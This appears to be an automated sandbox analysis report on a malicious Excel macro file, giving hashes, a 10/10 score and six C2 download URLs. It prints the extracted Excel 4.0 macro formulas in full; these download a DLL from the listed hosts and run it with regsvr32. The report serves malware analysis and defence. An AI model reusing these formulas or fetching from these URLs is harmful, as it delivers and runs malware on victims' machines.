Overview

overview

10

Static

static

10

vclurtyw.xlsm

windows7_x64

10

vclurtyw.xlsm

windows10-2004_x64

1

Sharing

Copy URL
Twitter E-mail

General

  • Target

    vclurtyw

  • Size

    50KB

  • Sample

    220512-vae6radcb8

  • MD5

    793c5a832ea9b3c4a225bc96b4449bc2

  • SHA1

    168afc78144b659b18b606a26c3e9a6343dd104a

  • SHA256

    894658b992050ab6d7ee061f083a48264ce56c1b4fbc5ac87c142765405a47f7

  • SHA512

    df041addb6c8113b2add5439f8ce258016233a47a13a3d540187872e4ac25fe3ac87b016bb391a703e0cb73189f1720c0e723b6df47ef971238312ed77a9b607

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/

http://hoatuoiso1.com/replace/fVea/

https://rumkeke.com/wp-admin/A8/

https://www.restaurantgaig.com/wp-includes/HLDoANj/

http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/

http://www.hiway91.com/wp-content/Y/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/","..\rulm.dll",0,0) =IF('EGSBBB'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hoatuoiso1.com/replace/fVea/","..\rulm.dll",0,0)) =IF('EGSBBB'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rumkeke.com/wp-admin/A8/","..\rulm.dll",0,0)) =IF('EGSBBB'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.restaurantgaig.com/wp-includes/HLDoANj/","..\rulm.dll",0,0)) =IF('EGSBBB'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/","..\rulm.dll",0,0)) =IF('EGSBBB'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.hiway91.com/wp-content/Y/","..\rulm.dll",0,0)) =IF('EGSBBB'!D22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rulm.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/

Targets

    • Target

      vclurtyw

    • Size

      50KB

    • MD5

      793c5a832ea9b3c4a225bc96b4449bc2

    • SHA1

      168afc78144b659b18b606a26c3e9a6343dd104a

    • SHA256

      894658b992050ab6d7ee061f083a48264ce56c1b4fbc5ac87c142765405a47f7

    • SHA512

      df041addb6c8113b2add5439f8ce258016233a47a13a3d540187872e4ac25fe3ac87b016bb391a703e0cb73189f1720c0e723b6df47ef971238312ed77a9b607

    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Downloads MZ/PE file

    • Loads dropped DLL

    behavioral1behavioral2

MITRE ATT&CK Enterprise v6

Tasks